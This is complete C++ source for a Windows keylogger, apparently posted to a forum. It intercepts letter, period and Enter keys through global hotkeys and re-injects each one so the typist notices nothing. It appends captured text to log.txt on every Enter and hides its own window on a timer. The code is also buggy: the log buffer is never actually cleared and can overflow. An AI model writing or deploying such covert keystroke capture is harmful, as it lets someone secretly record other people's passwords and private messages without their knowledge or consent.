Code:
#include <windows.h>
#include <fstream>
#include <iostream>
#include <cstring>
#include "resource.h"
using namespace std;
char logged_keys [256];
char clear [256];
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch(msg)
{
case WM_INITDIALOG:
RegisterHotKey(hwnd,1,NULL,VkKeyScan('a'));
RegisterHotKey(hwnd,2,NULL,VkKeyScan('b'));
RegisterHotKey(hwnd,3,NULL,VkKeyScan('c'));
RegisterHotKey(hwnd,4,NULL,VkKeyScan('d'));
RegisterHotKey(hwnd,5,NULL,VkKeyScan('e'));
RegisterHotKey(hwnd,6,NULL,VkKeyScan('f'));
RegisterHotKey(hwnd,7,NULL,VkKeyScan('g'));
RegisterHotKey(hwnd,8,NULL,VkKeyScan('h'));
RegisterHotKey(hwnd,9,NULL,VkKeyScan('i'));
RegisterHotKey(hwnd,10,NULL,VkKeyScan('j'));
RegisterHotKey(hwnd,11,NULL,VkKeyScan('k'));
RegisterHotKey(hwnd,12,NULL,VkKeyScan('l'));
RegisterHotKey(hwnd,13,NULL,VkKeyScan('m'));
RegisterHotKey(hwnd,14,NULL,VkKeyScan('o'));
RegisterHotKey(hwnd,15,NULL,VkKeyScan('p'));
RegisterHotKey(hwnd,16,NULL,VkKeyScan('q'));
RegisterHotKey(hwnd,17,NULL,VkKeyScan('r'));
RegisterHotKey(hwnd,18,NULL,VkKeyScan('s'));
RegisterHotKey(hwnd,19,NULL,VkKeyScan('t'));
RegisterHotKey(hwnd,20,NULL,VkKeyScan('u'));
RegisterHotKey(hwnd,21,NULL,VkKeyScan('v'));
RegisterHotKey(hwnd,22,NULL,VkKeyScan('w'));
RegisterHotKey(hwnd,23,NULL,VkKeyScan('x'));
RegisterHotKey(hwnd,24,NULL,VkKeyScan('y'));
RegisterHotKey(hwnd,25,NULL,VkKeyScan('z'));
RegisterHotKey(hwnd,30,NULL,VkKeyScan('n'));
RegisterHotKey(hwnd,29,NULL,VK_RETURN);
RegisterHotKey(hwnd,31,NULL,VkKeyScan('.'));
SetTimer(hwnd,1,5000,NULL);
SetTimer(hwnd,2,10000,NULL);
break;
case WM_TIMER:
case 1:
ShowWindow(hwnd,SW_HIDE);
break;
case WM_HOTKEY:
if (wParam == 1)
{
strcat(logged_keys,"a");
UnregisterHotKey(hwnd,1);
keybd_event(VkKeyScan('a'),1,0,0);
RegisterHotKey(hwnd,1,NULL,VkKeyScan('a'));
break;
}
if (wParam == 2)
{
strcat(logged_keys,"b");
UnregisterHotKey(hwnd,2);
keybd_event(VkKeyScan('b'),1,0,0);
RegisterHotKey(hwnd,2,NULL,VkKeyScan('b'));
break;
}
if (wParam == 3)
{
strcat(logged_keys,"c");
UnregisterHotKey(hwnd,3);
keybd_event(VkKeyScan('c'),1,0,0);
RegisterHotKey(hwnd,3,NULL,VkKeyScan('c'));
break;
}
if (wParam == 4)
{
strcat(logged_keys,"d");
UnregisterHotKey(hwnd,4);
keybd_event(VkKeyScan('d'),1,0,0);
RegisterHotKey(hwnd,4,NULL,VkKeyScan('d'));
break;
}
if (wParam == 5)
{
strcat(logged_keys,"e");
UnregisterHotKey(hwnd,5);
keybd_event(VkKeyScan('e'),1,0,0);
RegisterHotKey(hwnd,5,NULL,VkKeyScan('e'));
break;
}
if (wParam == 6)
{
strcat(logged_keys,"f");
UnregisterHotKey(hwnd,6);
keybd_event(VkKeyScan('f'),1,0,0);
RegisterHotKey(hwnd,6,NULL,VkKeyScan('f'));
break;
}
if (wParam == 7)
{
strcat(logged_keys,"g");
UnregisterHotKey(hwnd,7);
keybd_event(VkKeyScan('g'),1,0,0);
RegisterHotKey(hwnd,7,NULL,VkKeyScan('g'));
break;
}
if (wParam == 8)
{
strcat(logged_keys,"h");
UnregisterHotKey(hwnd,8);
keybd_event(VkKeyScan('h'),1,0,0);
RegisterHotKey(hwnd,8,NULL,VkKeyScan('h'));
break;
}
if (wParam == 9)
{
strcat(logged_keys,"i");
UnregisterHotKey(hwnd,9);
keybd_event(VkKeyScan('i'),1,0,0);
RegisterHotKey(hwnd,9,NULL,VkKeyScan('i'));
break;
}
if (wParam == 10)
{
strcat(logged_keys,"j");
UnregisterHotKey(hwnd,10);
keybd_event(VkKeyScan('j'),1,0,0);
RegisterHotKey(hwnd,10,NULL,VkKeyScan('j'));
break;
}
if (wParam == 11)
{
strcat(logged_keys,"k");
UnregisterHotKey(hwnd,11);
keybd_event(VkKeyScan('k'),1,0,0);
RegisterHotKey(hwnd,11,NULL,VkKeyScan('k'));
break;
}
if (wParam == 12)
{
strcat(logged_keys,"l");
UnregisterHotKey(hwnd,12);
keybd_event(VkKeyScan('l'),1,0,0);
RegisterHotKey(hwnd,12,NULL,VkKeyScan('l'));
break;
}
if (wParam == 13)
{
strcat(logged_keys,"m");
UnregisterHotKey(hwnd,13);
keybd_event(VkKeyScan('m'),1,0,0);
RegisterHotKey(hwnd,13,NULL,VkKeyScan('m'));
break;
}
if (wParam == 14)
{
strcat(logged_keys,"o");
UnregisterHotKey(hwnd,14);
keybd_event(VkKeyScan('o'),1,0,0);
RegisterHotKey(hwnd,14,NULL,VkKeyScan('o'));
break;
}
if (wParam == 15)
{
strcat(logged_keys,"p");
UnregisterHotKey(hwnd,15);
keybd_event(VkKeyScan('p'),1,0,0);
RegisterHotKey(hwnd,15,NULL,VkKeyScan('p'));
break;
}
if (wParam == 16)
{
strcat(logged_keys,"q");
UnregisterHotKey(hwnd,16);
keybd_event(VkKeyScan('q'),1,0,0);
RegisterHotKey(hwnd,16,NULL,VkKeyScan('q'));
break;
}
if (wParam == 17)
{
strcat(logged_keys,"r");
UnregisterHotKey(hwnd,17);
keybd_event(VkKeyScan('r'),1,0,0);
RegisterHotKey(hwnd,17,NULL,VkKeyScan('r'));
break;
}
if (wParam == 18)
{
strcat(logged_keys,"s");
UnregisterHotKey(hwnd,18);
keybd_event(VkKeyScan('s'),1,0,0);
RegisterHotKey(hwnd,18,NULL,VkKeyScan('s'));
break;
}
if (wParam == 19)
{
strcat(logged_keys,"t");
UnregisterHotKey(hwnd,19);
keybd_event(VkKeyScan('t'),1,0,0);
RegisterHotKey(hwnd,19,NULL,VkKeyScan('t'));
break;
}
if (wParam == 20)
{
strcat(logged_keys,"u");
UnregisterHotKey(hwnd,20);
keybd_event(VkKeyScan('u'),1,0,0);
RegisterHotKey(hwnd,20,NULL,VkKeyScan('u'));
break;
}
if (wParam == 21)
{
strcat(logged_keys,"v");
UnregisterHotKey(hwnd,21);
keybd_event(VkKeyScan('v'),1,0,0);
RegisterHotKey(hwnd,21,NULL,VkKeyScan('v'));
break;
}
if (wParam == 22)
{
strcat(logged_keys,"w");
UnregisterHotKey(hwnd,22);
keybd_event(VkKeyScan('w'),1,0,0);
RegisterHotKey(hwnd,22,NULL,VkKeyScan('w'));
break;
}
if (wParam == 23)
{
strcat(logged_keys,"x");
UnregisterHotKey(hwnd,23);
keybd_event(VkKeyScan('x'),1,0,0);
RegisterHotKey(hwnd,23,NULL,VkKeyScan('x'));
break;
}
if (wParam == 24)
{
strcat(logged_keys,"y");
UnregisterHotKey(hwnd,24);
keybd_event(VkKeyScan('y'),1,0,0);
RegisterHotKey(hwnd,24,NULL,VkKeyScan('y'));
break;
}
if (wParam == 25)
{
strcat(logged_keys,"z");
UnregisterHotKey(hwnd,25);
keybd_event(VkKeyScan('z'),1,0,0);
RegisterHotKey(hwnd,25,NULL,VkKeyScan('z'));
break;
}
if (wParam == 30)
{
strcat(logged_keys,"n");
UnregisterHotKey(hwnd,30);
keybd_event(VkKeyScan('n'),1,0,0);
RegisterHotKey(hwnd,30,NULL,VkKeyScan('n'));
break;
}
if (wParam == 29)
{
ofstream l_file("log.txt", ios::app);
l_file << logged_keys <<endl;
strcat(logged_keys,clear);
UnregisterHotKey(hwnd,29);
keybd_event(VK_RETURN,1,0,0);
RegisterHotKey(hwnd,29,NULL,VK_RETURN);
break;
}
if (wParam == 31)
{
strcat(logged_keys,".");
UnregisterHotKey(hwnd,31);
keybd_event(VkKeyScan('.'),1,0,0);
RegisterHotKey(hwnd,31,NULL,VkKeyScan('.'));
break;
}
}
return false;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow)
{
DialogBox(hInstance,MAKEINTRESOURCE(IDD_DIALOG1),NULL,DLGPROC(WndProc));
return false;
}